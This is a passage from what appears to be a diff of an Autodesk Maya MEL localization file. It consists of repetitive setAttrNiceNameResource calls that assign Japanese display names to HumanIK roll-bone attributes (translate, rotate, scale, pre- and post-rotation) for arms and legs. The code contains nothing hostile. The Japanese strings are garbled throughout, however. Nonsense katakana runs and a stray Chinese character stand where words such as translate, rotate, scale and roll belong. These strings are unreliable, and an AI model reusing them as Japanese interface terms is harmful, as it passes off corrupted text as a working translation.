"HIKState2SK", "LeafLeftForeArmRoll2PostRy", "メカラヌーアロイ犹 2 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2PostRz", "メカラヌーアロイ犹 2 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2T", "メカモメアロイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2Tx", "メカモメアロイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2Ty", "メカモメアロイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2Tz", "メカモメアロイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2R", "メカモメアロイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2Rx", "メカモメアロイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2Ry", "メカモメアロイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2Rz", "メカモメアロイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2S", "メカモメアロイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2Sx", "メカモメアロイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2Sy", "メカモメアロイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2Sz", "メカモメアロイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2PGX", "メカモメアロイ犹 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2ROrder", "メカモメアロイ犹 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2SC", "メカモメアロイ犹 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2IS", "メカモメアロイ犹 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2ISx", "メカモメアロイ犹 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2ISy", "メカモメアロイ犹 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2ISz", "メカモメアロイ犹 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2PreR", "メカモメアロイ犹 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2PreRx", "メカモメアロイ犹 2 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2PreRy", "メカモメアロイ犹 2 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2PreRz", "メカモメアロイ犹 2 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2PostR", "メカモメアロイ犹 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2PostRx", "メカモメアロイ犹 2 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2PostRy", "メカモメアロイ犹 2 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll2PostRz", "メカモメアロイ犹 2 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2T", "メカモメヌーアロイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2Tx", "メカモメヌーアロイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2Ty", "メカモメヌーアロイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2Tz", "メカモメヌーアロイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2R", "メカモメヌーアロイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2Rx", "メカモメヌーアロイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2Ry", "メカモメヌーアロイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2Rz", "メカモメヌーアロイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2S", "メカモメヌーアロイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2Sx", "メカモメヌーアロイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2Sy", "メカモメヌーアロイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2Sz", "メカモメヌーアロイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2PGX", "メカモメヌーアロイ犹 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2ROrder", "メカモメヌーアロイ犹 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2SC", "メカモメヌーアロイ犹 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2IS", "メカモメヌーアロイ犹 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2ISx", "メカモメヌーアロイ犹 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2ISy", "メカモメヌーアロイ犹 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2ISz", "メカモメヌーアロイ犹 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2PreR", "メカモメヌーアロイ犹 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2PreRx", "メカモメヌーアロイ犹 2 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2PreRy", "メカモメヌーアロイ犹 2 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2PreRz", "メカモメヌーアロイ犹 2 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2PostR", "メカモメヌーアロイ犹 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2PostRx", "メカモメヌーアロイ犹 2 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2PostRy", "メカモメヌーアロイ犹 2 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll2PostRz", "メカモメヌーアロイ犹 2 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3T", "メカラエヘネイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3Tx", "メカラエヘネイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3Ty", "メカラエヘネイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3Tz", "メカラエヘネイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3R", "メカラエヘネイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3Rx", "メカラエヘネイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3Ry", "メカラエヘネイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3Rz", "メカラエヘネイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3S", "メカラエヘネイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3Sx", "メカラエヘネイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3Sy", "メカラエヘネイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3Sz", "メカラエヘネイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3PGX", "メカラエヘネイ犹 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3ROrder", "メカラエヘネイ犹 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3SC", "メカラエヘネイ犹 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3IS", "メカラエヘネイ犹 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3ISx", "メカラエヘネイ犹 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3ISy", "メカラエヘネイ犹 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3ISz", "メカラエヘネイ犹 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3PreR", "メカラエヘネイ犹 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3PreRx", "メカラエヘネイ犹 3 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3PreRy", "メカラエヘネイ犹 3 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3PreRz", "メカラエヘネイ犹 3 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3PostR", "メカラエヘネイ犹 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3PostRx", "メカラエヘネイ犹 3 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3PostRy", "メカラエヘネイ犹 3 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll3PostRz", "メカラエヘネイ犹 3 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3T", "メカラヘネイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3Tx", "メカラヘネイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3Ty", "メカラヘネイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3Tz", "メカラヘネイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3R", "メカラヘネイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3Rx", "メカラヘネイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3Ry", "メカラヘネイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3Rz", "メカラヘネイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3S", "メカラヘネイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3Sx", "メカラヘネイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3Sy", "メカラヘネイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3Sz", "メカラヘネイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3PGX", "メカラヘネイ犹 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3ROrder", "メカラヘネイ犹 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3SC", "メカラヘネイ犹 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3IS", "メカラヘネイ犹 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3ISx", "メカラヘネイ犹 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3ISy", "メカラヘネイ犹 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3ISz", "メカラヘネイ犹 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3PreR", "メカラヘネイ犹 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3PreRx", "メカラヘネイ犹 3 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3PreRy", "メカラヘネイ犹 3 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3PreRz", "メカラヘネイ犹 3 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3PostR", "メカラヘネイ犹 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3PostRx", "メカラヘネイ犹 3 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3PostRy", "メカラヘネイ犹 3 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll3PostRz", "メカラヘネイ犹 3 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3T", "メカモメエヘネイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3Tx", "メカモメエヘネイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3Ty", "メカモメエヘネイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3Tz", "メカモメエヘネイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3R", "メカモメエヘネイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3Rx", "メカモメエヘネイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3Ry", "メカモメエヘネイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3Rz", "メカモメエヘネイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3S", "メカモメエヘネイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3Sx", "メカモメエヘネイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3Sy", "メカモメエヘネイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3Sz", "メカモメエヘネイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3PGX", "メカモメエヘネイ犹 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3ROrder", "メカモメエヘネイ犹 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3SC", "メカモメエヘネイ犹 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3IS", "メカモメエヘネイ犹 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3ISx", "メカモメエヘネイ犹 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3ISy", "メカモメエヘネイ犹 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3ISz", "メカモメエヘネイ犹 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3PreR", "メカモメエヘネイ犹 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3PreRx", "メカモメエヘネイ犹 3 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3PreRy", "メカモメエヘネイ犹 3 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3PreRz", "メカモメエヘネイ犹 3 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3PostR", "メカモメエヘネイ犹 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3PostRx", "メカモメエヘネイ犹 3 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3PostRy", "メカモメエヘネイ犹 3 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll3PostRz", "メカモメエヘネイ犹 3 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3T", "メカモメヘネイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3Tx", "メカモメヘネイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3Ty", "メカモメヘネイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3Tz", "メカモメヘネイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3R", "メカモメヘネイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3Rx", "メカモメヘネイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3Ry", "メカモメヘネイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3Rz", "メカモメヘネイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3S", "メカモメヘネイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3Sx", "メカモメヘネイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3Sy", "メカモメヘネイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3Sz", "メカモメヘネイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3PGX", "メカモメヘネイ犹 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3ROrder", "メカモメヘネイ犹 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3SC", "メカモメヘネイ犹 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3IS", "メカモメヘネイ犹 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3ISx", "メカモメヘネイ犹 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3ISy", "メカモメヘネイ犹 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3ISz", "メカモメヘネイ犹 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3PreR", "メカモメヘネイ犹 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3PreRx", "メカモメヘネイ犹 3 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3PreRy", "メカモメヘネイ犹 3 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3PreRz", "メカモメヘネイ犹 3 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3PostR", "メカモメヘネイ犹 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3PostRx", "メカモメヘネイ犹 3 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3PostRy", "メカモメヘネイ犹 3 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3PostRz", "メカモメヘネイ犹 3 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3T", "メカラアロイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3Tx", "メカラアロイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3Ty", "メカラアロイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3Tz", "メカラアロイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3R", "メカラアロイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3Rx", "メカラアロイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3Ry", "メカラアロイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3Rz", "メカラアロイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3S", "メカラアロイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3Sx", "メカラアロイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3Sy", "メカラアロイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3Sz", "メカラアロイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3PGX", "メカラアロイ犹 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3ROrder", "メカラアロイ犹 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3SC", "メカラアロイ犹 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3IS", "メカラアロイ犹 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3ISx", "メカラアロイ犹 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3ISy", "メカラアロイ犹 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3ISz", "メカラアロイ犹 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3PreR", "メカラアロイ犹 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3PreRx", "メカラアロイ犹 3 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3PreRy", "メカラアロイ犹 3 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3PreRz", "メカラアロイ犹 3 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3PostR", "メカラアロイ犹 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3PostRx", "メカラアロイ犹 3 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3PostRy", "メカラアロイ犹 3 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3PostRz", "メカラアロイ犹 3 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3T", "メカラヌーアロイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3Tx", "メカラヌーアロイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3Ty", "メカラヌーアロイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3Tz", "メカラヌーアロイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3R", "メカラヌーアロイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3Rx", "メカラヌーアロイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3Ry", "メカラヌーアロイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3Rz", "メカラヌーアロイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3S", "メカラヌーアロイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3Sx", "メカラヌーアロイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3Sy", "メカラヌーアロイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3Sz", "メカラヌーアロイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3PGX", "メカラヌーアロイ犹 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3ROrder", "メカラヌーアロイ犹 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3SC", "メカラヌーアロイ犹 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3IS", "メカラヌーアロイ犹 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3ISx", "メカラヌーアロイ犹 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3ISy", "メカラヌーアロイ犹 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3ISz", "メカラヌーアロイ犹 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3PreR", "メカラヌーアロイ犹 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3PreRx", "メカラヌーアロイ犹 3 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3PreRy", "メカラヌーアロイ犹 3 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3PreRz", "メカラヌーアロイ犹 3 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3PostR", "メカラヌーアロイ犹 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3PostRx", "メカラヌーアロイ犹 3 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3PostRy", "メカラヌーアロイ犹 3 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3PostRz", "メカラヌーアロイ犹 3 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3T", "メカモメアロイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3Tx", "メカモメアロイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3Ty", "メカモメアロイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3Tz", "メカモメアロイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3R", "メカモメアロイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3Rx", "メカモメアロイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3Ry", "メカモメアロイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3Rz", "メカモメアロイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3S", "メカモメアロイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3Sx", "メカモメアロイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3Sy", "メカモメアロイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3Sz", "メカモメアロイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3PGX", "メカモメアロイ犹 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3ROrder", "メカモメアロイ犹 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3SC", "メカモメアロイ犹 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3IS", "メカモメアロイ犹 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3ISx", "メカモメアロイ犹 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3ISy", "メカモメアロイ犹 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3ISz", "メカモメアロイ犹 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3PreR", 